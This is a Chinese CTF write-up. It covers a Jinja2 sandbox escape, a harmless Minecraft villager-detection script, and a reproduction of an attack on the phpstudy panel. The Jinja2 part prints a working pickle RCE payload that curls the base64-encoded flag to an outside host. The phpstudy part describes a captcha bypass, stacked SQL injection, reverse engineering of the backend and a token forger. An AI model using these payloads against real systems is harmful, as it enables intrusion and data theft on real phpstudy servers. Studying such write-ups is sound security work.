好久没写过 WP 了...... 这次还是写写吧
Ninjaclub
由于是最新版的 jinja2, 而且用的是 SandboxedEnvironment, 网上的payload试了试发现过不掉, 于是我们就只能这样
sandbox 的过滤是要求不能调用对象以 _
开头的, 以及 mro
本地调试下断可以看到, 当前 SSTI 的 Context 下只有这个, 我们在控制台里面调试调试, dir
一下
测试看到符合条件的有:
dict
'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values’
cycler
'current', 'next', 'reset’
user
'age', 'construct', 'copy', 'description', 'dict', 'from_orm', 'json', 'model_computed_fields', 'model_config', 'model_construct', 'model_copy', 'model_dump', 'model_dump_json', 'model_extra', 'model_fields', 'model_fields_set', 'model_json_schema', 'model_parametrized_name', 'model_post_init', 'model_rebuild', 'model_validate', 'model_validate_json', 'model_validate_strings', 'name', 'parse_file', 'parse_obj', 'parse_raw', 'schema', 'schema_json', 'update_forward_refs', 'validate’
考虑一下 User 哪里来的这么多东西, 感觉其中的有些东西挺有趣的
发现是 BaseModel 的东西, 原来是继承了这玩意儿
我们看看 parse_file
{{user.parse_file("/flag.txt")}}
真能! 但是继续测试发现他会把这个当成 JSON 解析, 和 flag 格式不符合
我们再来吧
看到了最爱的 pickle
通过传参:
{{user.parse_raw("str", proto="pickle", allow_pickle=True)}}
发现能够走到!
此时我们需要将 pickle 好的数据进行稳定的转换到 str 之后也能稳定转回bytes, 在一番测试和寻找后我们锁定到了 bytes.fromhex
于我们可以创建一个 Pickle
import os
import pickle
import base64
class User:
def __init__(self, username, password):
self.username = username
self.password = password
def __reduce__(self):
return (eval, ("__import__('os').system('curl <http://ctf.kengwang.com.cn:8085/`cat> /flag.txt|base64`')",))
user = User("kengwang", "hatepython")
print(pickle.dumps(user).hex())
# 祖传 Pickle 利用脚本
最终的 payload 为:
{{user.parse_raw("".encode("utf-8").fromhex("80049572000000000000008c086275696c74696e73948c046576616c9493948c565f5f696d706f72745f5f28276f7327292e73797374656d28276375726c20687474703a2f2f6374662e6b656e6777616e672e636f6d2e636e3a383038352f60636174202f666c61672e7478747c62617365363460272994859452942e"), proto="pickle", allow_pickle=True)}}
hideandseek & h1de@ndSe3k
村民在被清除后会在日志中被记录
也可以写一个 MineScript 来 5 秒寻找一次
import minescript
import sys
import time
def detect_villagers():
entities = minescript.entities(nbt=True)
for entity in entities:
if str(entity['type']).find("villager") != -1:
minescript.echo(entity)
minescript.chat("Villager detected!")
return True
return False
while True:
# show detecting at time
minescript.echo("Detecting villagers...")
a = detect_villagers()
# sleep for 5 seconds
if not a:
time.sleep(5)
else:
break
r3php (复现)
我们可以先拉一个 phpstudy 环境的 Docker 镜像 tarnwang/phpstudy_linux
, 将里面的 web.tar.gz 拿出来
打开 PhpStrom 进行代码分析
我们可以来到登录的主要逻辑处 service/app/model/Account.php
, 可以看到里面通过 Socket::*request
* 与后端进行通信
跟进之后我们可以看到主要逻辑
/**
* 网络通信模块
*/
class Socket{
public static function request($data){
error_reporting(E_ALL);
set_time_limit(0);
***$host = "127.0.0.1";
$port = 8090;***
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
//接收套接流的最大超时时间2秒,后面是微秒单位超时时间,设置为零,表示不管它
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 2000, "usec" => 0));
//发送套接流的最大超时时间为6秒
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array("sec" => 6, "usec" => 0));
$connection = @socket_connect($socket, $host, $port);
if(!$connection){
file_put_contents('socket.log', 'cannot connection '.$host.':'.$port.' at '.date('Y-m-d H:i:s')."\\r\\n",8);
return false;
}
$_data = json_decode($data,true);
isset($_SESSION['this_token']) && $_data['token'] = $_SESSION['this_token'];
$data = json_encode($_data);
$data .= '^^^';
socket_write($socket, $data,strlen($data));
$res = '';
while ($buff = socket_read($socket,1024)) {
$encoding = mb_detect_encoding($buff, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5'));
if($encoding=='EUC-CN'){
$buff = iconv('GBK', 'UTF-8', $buff);
}
$res .= $buff;
if(substr($res,-3)=='^^^'){
socket_close($socket);
break;
}
}
$res = rtrim($res,'^^^');
if($res == 'ipdeny'){
xpexit(json_encode(array('code'=>403,'msg'=>'该IP被禁止访问')));
}
//检验token
if($_data['command'] != 'login'){
$res_ = json_decode($res,true);
if(isset($res_['result'])&&$res_['result']==-2){
distorySession();
xpexit(json_encode(array('code'=>1001,'msg'=>'您已经在其他地方登录过了,即将退出当前页面')));
}
}
return $res;
}
}
经过代码审计可知, 我们需要给 8090 端传入一些json的数据, 以 ^^^
作为分割
我们可以用 nc 连上去试一试
由于有 IP 校验, 我们在 Docker 容器中起一个 nc
我们可以找到这个文章
phpstudy小皮面板2023版RCE - dustfree - 博客园
这里的话是和前端进行的交互, 但是验证码是在前端层面进行的校验, 于是我们可以绕过这个验证码, 直接打后端的 SQL 注入
我们可以看看 service/app/model/Account.php
中传输数据的格式
<?php
/**
* 帐号控制
*/
class Account{
// 登录
public static function login($username,$pwd,$verifycode){
if($username==''){
return array('code'=>1,'msg'=>'用户名不能为空');
}
if($pwd == ''){
return array('code'=>1,'msg'=>'密码不能为空');
}
if(!sessionStarted()){
sessionStart();
}
if(!isset($_SESSION['code']) || strtolower($verifycode)!=strtolower($_SESSION['code'])){
return array('code'=>1,'msg'=>'验证码不正确');
}
**$request = json_encode(array('command'=>'login','data'=>array('username'=>$username,'pwd'=>$pwd)));
$res = Socket::request($request);**
if(!$res){
return array('code'=>1,'msg'=>'系统主服务故障,请尝试重启主服务');
}
$res = json_decode($res,true);
if($res['result'] == -1){
return array('code'=>300,'msg'=>$res['msg']);
}
if($res['result'] == 0){
return array('code'=>1,'msg'=>$res['msg']);
}
//token校验
$_SESSION['this_token'] = $res['token'];
// $access_token = md5(time()).md5(rand(1,100));
$access_token = $res['token'];
$_SESSION['admin'] = array('uid'=>$res['ID'],'username'=>$res['ALIAS'],'access_token'=>$access_token);
$res = array('code'=>0,'msg'=>'登录成功','data'=>array('access_token'=>$access_token),'agreement'=>$res['AGREEMENT']);
return $res;
}
// 退出登录
public static function logout(){
if(!sessionStarted()){
sessionStart();
}
unset($_SESSION['admin']);
distorySession();
$res = array('code'=>0,'msg'=>'退出成功','data'=>null);
return $res;
}
}
关注到加粗行, 我们可以依次来传入一个 JSON
{
"command": "login",
"data": {
"username": "",
"pwd": "kwkwkw"
}
}
参考文章说 username 存在堆叠注入, 我们尝试进行
之后再进行登录
发现注入成功
我们期望来找到后端的数据库结构来对症下药
接下来是后端了, 后端的话加了个 upx 壳, 我们把他脱掉, 拖进 IDA 里面分析
下面是文件, 这个是 LInux 可执行 ELF 文件
由于数据库无法打开, 我们直接在程序中找 SQL 语句
找到 CTaskMng::AddTask
中的
v15 = CSqlite::ExecSql(
v14,
a3,
"INSERT INTO TASKMNG (TITLE,TYPE,CYCLE,TIME,ADDTIME,SHELL,SITES,UID,PCS,TASK_TYPE,DBS,ACTION) VALU"
"ES('%s',%d,'%s','%s','%s','%s','%s',%d,%d,%d,'%s','%s')",
v26,
v22,
v25,
于是我们根据参数猜内容
当然我们也可以起一个 Fake Server 来抓出后端与前端的交互逻辑
我们再看看允许哪些 command
经过了 30 分钟的反编译:
disk
cpu_mem
installed_soft
sync_shop
get_running_server
system_info
save_ftp_pwd
site_network
site_list
site_edit
site_save
site_delete
site_delete_batch
index_page
404_page
apache_page
stop_page
save_default_page
site_start
site_stop
site_list_with_default
save_default_site
site_backup
default_siteport
get_default_site_port
dblist
add_db
del_db
editor_root_pwd
get_mysql_root_pwd
open_close_mysql_remote
mysql_root_remote_status
dobackup
backup_list
download_remote_backfile
dbbackup_del
recovery
get_back_file
get_db_back_file
file_sql
sql_file_list
import_sql
del_sql
showpwd
db_user_pwd
save_db_pwd
edit_access
get_db_access_info
default_ftp_folder
save_ftp
ftpLists
show_ftp_pwd
ftp_site_status
ftp_port
save_ftp_port
del_ftp
ftp_user_pwd
ftp_pwd_save
monitor_show_all
monitor_cpu
monitor_memory
monitor_disk
monitor_network
monitor_save_day_num
monitor_clear
monitor_switch
security_firwall_auto_open
security_firwall_auto_close
security_port_ip
allow_port
deny_ip
del_port
del_ip
security_firwall_open
security_firwall_close
save_sshport
security_ssh_close
security_ssh_open
security_ping_open
security_ping_close
clear_weblog
file_lists
create_folder
create_file
rename_files
del_files
docopy_file
doshears_file
compress
save_file_contents
file_history
load_sys_users
set_rights
file_recycle_lists
recycles_restore
recycles_real_delete
getlogs
clearlog
getsetting
access_ip
save_setting
auto_update
pane_state
sync_time
login
agree_user_agreement
update_pane_username
modifypwd
update_pane_pwd
add_domains
load_domains
del_domain
site_folder
save_site_foler
redirect301
save_redirect301
flow_limit
save_flow_limit
cur_rewrite_static
save_rewrite_static
save_as_rewrite_static
del_rewrite_static
apache_nginx_config
save_apache_nginx_config
do_recovery_config
php_versions
save_php_versions
save_php_cli_versions
php_cli_versions
get_ssl_config
save_ssl_config
get_free_ssl
certs_lists
get_tencent_free_ssl
check_tencent_cert_status
get_tencent_cert_item_status
del_cert_tencent
deploy_cert_tencent
del_cert
get_stealing_link_config
save_stealing_link_config
server_list
save_server_info
get_admin
admin_lists
del_admin
add_admin
modifyusername
editor_admin
getMenus
save_menus
del_menu
role_lists
del_role
load_role_menus
edit_role
add_role
get_sys_menus
soft_lists
get_soft_install_sites
uninstall
install_soft
cancel_install
install_process
show_index
set_and_install
uninstall_need_config
manage_app
soft_stop
soft_start
restart_soft
check_upgrade
upgrade_now
databases_settings
task_list
save_shell
del_task
exec_task
viewscript
log_list
clear_task_logs
save_proxy
load_reverse_proxy
site_ftp_list
db_ftp_list
save_backup_site
save_backup_db
add_waf_white_ips
waf_white_ips
del_rule
get_ip_mac
add_waf_black_ips
waf_black_ips
save_cc
save_endurance
cc_attack
endurance
del_cc
del_endurance
cc_open
cc_logs
del_cc_log
clean_cc_log
cc_open_logs
save_waf_url_whites
waf_url_whites
url_white_open
save_waf_url_black
waf_url_blacks
save_black_uas
black_uas
save_black_args
black_args
save_black_cookies
black_cookies
save_post_args
post_args
post_args_open
save_filext
filext_list
get_file_path
check_waf_rule
do_upgrade_waf_rule
php_exts
php_ext_status
php_params
save_php_params
php_config
save_php_config
dis_funcs
save_dis_funcs
del_dis_func
php_loadstatus
php_performance
save_php_performance
auto_set_php_performance
php_session_config
save_php_session_conifg
php_logs
nginx_config
apache_config
mysql_config
redis_config
memcached_config
mongodb_config
save_nginx_config
save_apache_config
save_mysql_config
save_redis_config
save_memcached_config
save_mongodb_config
nginx_error_log
apache_error_log
mysql_logs
nginx_performance
save_nginx_performance
nginx_loadstatus
apache_loadstatus
apache_performance
save_apache_performance
mysql_performance
save_mysql_performance
mysql_status
mysql_port
save_port
txt_mysql_slow_logs
redis_performance
save_redis_performance
redis_loadstatus
cpu_mem_io
server_visits
monitor_indicators
mysql_storage
save_mysql_storage_path
save_visit_url
memcached_performance
save_memcached_performance
memcached_loadstatus
waf_site_list
rule_enable
save_rule_item
get_key_string
get_key_string_new
args_black_open
cookie_black_open
soft_installed
waf_check
get_default_index
save_default_index
get_apache_nginx_config
waf_installed
ping
file_upload
set_root_pwd
decompress_file
waf_indicators
waf_open
get_filesafe_overview
filesafe_status
filesafe_open_stop
fielsafe_logs
del_filesafe_protect
fielsafe_optlogs
xpdiskmount_optlogs
load_exclude_files
del_exclude
filesafe_exclude
get_diskmount_data
do_path_mount
do_path_unmount
disk_clear
xplogin_info
check_xp_login
get_webshell_url
sync_websell_ssh_port
save_webshell_config
webshell_info
webshell_composer_info
is_soft_running
check_buy_soft
loginxp
pay_buywx
create_buy_qrcode
mongodb_ipport
mc_file_upload
mc_file_download
pane_api_info
save_pane_access_ip
del_pane_access_ip
mc_get_status
mc_site_lists
mc_add_site
press_file_process
mc_get_websites
mc_save_ssl_cert
mc_install_soft
mc_uninstall_soft
mc_start_soft
mc_stop_soft
mc_get_soft_status
mc_exec
mc_backup_sites
mc_backup_dbs
mc_file_access
download_remote_file
download_remote_file_process
mc_set_balance
mc_rm_balance
mc_add_slave_user
mc_show_master
mc_set_slave
mc_start_slave
mc_mysql_drop_slave_user
mc_stop_slave
mount_unmount_process
is_qrcode_scanned
qrcode_scan
get_account_qiniu
get_account_tencentoss
save_qiniu_account
save_tencentoss_account
save_alioss_account
get_account_alioss
file_list_qiniu
file_list_tencentoss
file_list_alioss
del_qiniu_files
del_tencentoss_files
del_alioss_files
do_create_qiniu_folder
do_create_tencentoss_folder
do_create_alioss_folder
get_qiniu_file_download_url
get_tencentoss_file_download_url
get_alioss_file_download_url
installed_cloud_lists
site_access_log
shell_login_logs
calculate_folder_size
get_progress_lists
close_process
close_process_tree
site_dataxp_analysis_basics
get_view_pages
get_landing_list
get_firewall_top
get_source_list
get_source_detail
get_spider_list
get_spider_detail
get_realtime_view
get_error_pages
get_firewall_detail
get_firewall_ip_detail
get_errorcode_detail
get_mongodb_list
del_mongodb
create_mongodb
get_mongodb_config_items
save_config_item
mongodb_logs
init_localhost
save_xppush_monitor
get_xppush_service_status
save_xppush_service_status
get_xppush_service_list
save_xppush_email
get_xppush_email
get_xppush_logs
clear_xppush_logs
save_xppush_wxmsg_auth_code
get_xppush_wxmsg_auth_code
save_shell_edit
save_visit_url_edit
save_backup_site_edit
set_task_status
reset_sitefile_rights
get_sql_detail_path
但是这里有一个判断 Token 错误的逻辑
我们只有 login 的指令的权限, 于是我们只能走到这里面了
跟踪到了 CAdminMng::MakeUserToken
, 易知函数原型 CAdminMng::MakeUserToken(std::string)
我们尝试优化一下逆向出来的代码 (感谢 GPT):
// CAdminMng::MakeUserToken(std::string)
CUtil *__fastcall CAdminMng::MakeUserToken(CUtil *a1, __int64 a2, const char **a3)
{
int TimeStamp = CUtil::getTimeStamp(a1);
char buffer[32];
snprintf(buffer, 32, "%lu", TimeStamp);
std::string token = std::string(*a3) + buffer;
__int64 v22[2];
CUtil::md5(v22, (__int64 *)token.data(), token.size());
CUtil::md5(a1, v22);
return a1;
}
可以看到我们的计算逻辑是 md5(md5(用户名 + 时间戳))
我们可以先重置密码, 然后发登录包, 之后算出token, 再通过 token 交互
class CAdminMng:
@staticmethod
def getTimeStamp():
return int(time.time())
@staticmethod
def md5(data : str):
return hashlib.md5(data.encode()).hexdigest().upper()
@staticmethod
def MakeUserToken(a1 : str):
TimeStamp = CAdminMng.getTimeStamp()
buffer = "%lu" % TimeStamp
token = a1 + buffer
v22 = CAdminMng.md5(token)
v24 = CAdminMng.md5(v22)
return v24